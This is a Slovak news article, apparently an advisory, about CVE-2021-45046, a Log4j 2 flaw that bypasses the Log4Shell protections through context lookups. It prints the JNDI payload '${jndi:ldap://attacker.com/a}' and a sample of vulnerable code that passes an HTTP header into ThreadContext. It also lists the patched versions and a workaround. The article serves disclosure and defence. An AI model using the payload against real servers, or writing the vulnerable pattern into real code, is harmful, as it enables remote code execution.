Nová varianta útoku na Log4j 2, ktorá umožňuje obísť pridanú ochranu.

V implementácii JNDI substitúcií v knižnici Log4j 2 bola objavená ďalšia zraniteľnosť (CVE-2021-45046), ktorá sa prejavuje napriek oprave v verzii 2.15 a nezávisle od použitia nastavenia „log4j2.noFormatMsgLookup“ ako ochrany. Problém predstavuje hrozbu najmä pre staršie verzie Log4j 2, chránené pomocou praporku „noFormatMsgLookup“, keďže umožňuje obísť ochranu pred predchádzajúcou zraniteľnosťou (Log4Shell, CVE-2021-44228), ktorá umožňuje vykonanie vlastného kódu na serveri. Pre užívateľov verzie 2.15 sa zneužitie obmedzuje na vytvorenie podmienok na havarijné ukončenie aplikácie z dôvodu vyčerpania dostupných zdrojov.

Zraniteľnosť sa prejavuje iba na systémoch, ktoré pri journalizácii používajú kontextové vyhľadávania (Context Lookup), ako napríklad ${ctx:loginId}, alebo MDC šablóny (Thread Context Map), napríklad %X, %mdc a %MDC. Zneužitie spočíva vo vytvorení podmienok na výstup do logu údajov obsahujúcich JNDI substitúcie pri použití kontextových vyhľadávaní alebo MDC šablón, ktoré určujú pravidlá formátovania výstupu do logu.

Výskumníci z firmy LunaSec upozornili, že pre verzie Log4j staršie ako 2.15 táto zraniteľnosť môže byť zneužitá ako nový vektor útoku Log4Shell, vedúci k vykonávaniu kódu, ak sa pri výstupe do logu používajú výrazy ThreadContext, do ktorých sa dostanú externé údaje, nezávisle od zapnutia ochranného praporku „noMsgFormatLookups“ alebo šablóny „%m{nolookups}“.

Nová varianta útoku na Log4j 2, ktorá umožňuje obísť pridanú ochranu.

Obídenie ochrany spočíva v tom, že namiesto priamej substitúcie „${jndi:ldap://attacker.com/a}“ je tento výraz substituovaný prostredníctvom hodnoty medzivaru, používanej v pravidlách formátovania výstupu do logu. Napríklad, ak sa pri výstupe do logu používa kontextové vyhľadávanie ${ctx:apiversion}, útok môže byť vykonaný prostredníctvom substitúcie údajov „${jndi:ldap://attacker.com/a}“ do hodnoty zapisovanej do premennej apiversion. Príklad zraniteľného kódu: appender.console.layout.pattern = ${ctx:apiversion} — %d{yyyy-MM-dd HH:mm:ss} %-5p %c{1}:%L — %m%n @GetMapping("/") public String index(@RequestHeader("X-Api-Version") String apiVersion) { // Hodnota HTTP hlavičky „X-Api-Version“ je prenášaná do ThreadContext ThreadContext.put("apiversion", apiVersion); // Pri výstupe do logu bude externá hodnota apiversion spracovávaná pomocou substitúcie ${ctx:apiversion} logger.info("Received a request for API version"); return "Hello, world!"; }

Vo verzii Log4j 2.15 môže byť zraniteľnosť využitá na vykonanie DoS útokov pri prenose hodnôt do ThreadContext, ktoré spôsobujú nekonečné slučky spracovania formátovacích šablón výstupu.

Nová varianta útoku na Log4j 2, ktorá umožňuje obísť pridanú ochranu.

Na zablokovanie zraniteľnosti boli zverejnené aktualizácie 2.16 a 2.12.2. Vo vetve Log4j 2.16, okrem opráv implementovaných v verzii 2.15 a viazania požiadaviek JNDI LDAP na 'localhost', je predvolene úplne vypnutá funkčnosť JNDI a odstránená podpora šablón na substitúciu správ. Ako obchádzajúce riešenie sa navrhuje odstrániť triedu JndiLookup z classpath (napríklad 'zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class').

Sledovať objavenie sa opráv v balíkoch je možné na stránkach distribúcií (Debian, Ubuntu, RHEL, SUSE, Fedora, Arch) a výrobcov Java platforiem (GitHub, Docker, Oracle, vmWare, Broadcom a Amazon/AWS, Juniper, VMware, Cisco, IBM, Red Hat, MongoDB, Okta, SolarWinds, Symantec, McAfee, SonicWall, FortiGuard, Ubiquiti, F-Secure a pod.).

Zdroj: opennet.ru

Kúpte si spoľahlivý hosting pre webové stránky s ochranou proti DDoS, VPS VDS servery 🔥 Kúpte si spoľahlivý hosting pre webové stránky s ochranou proti DDoS, VPS VDS servery | ProHoster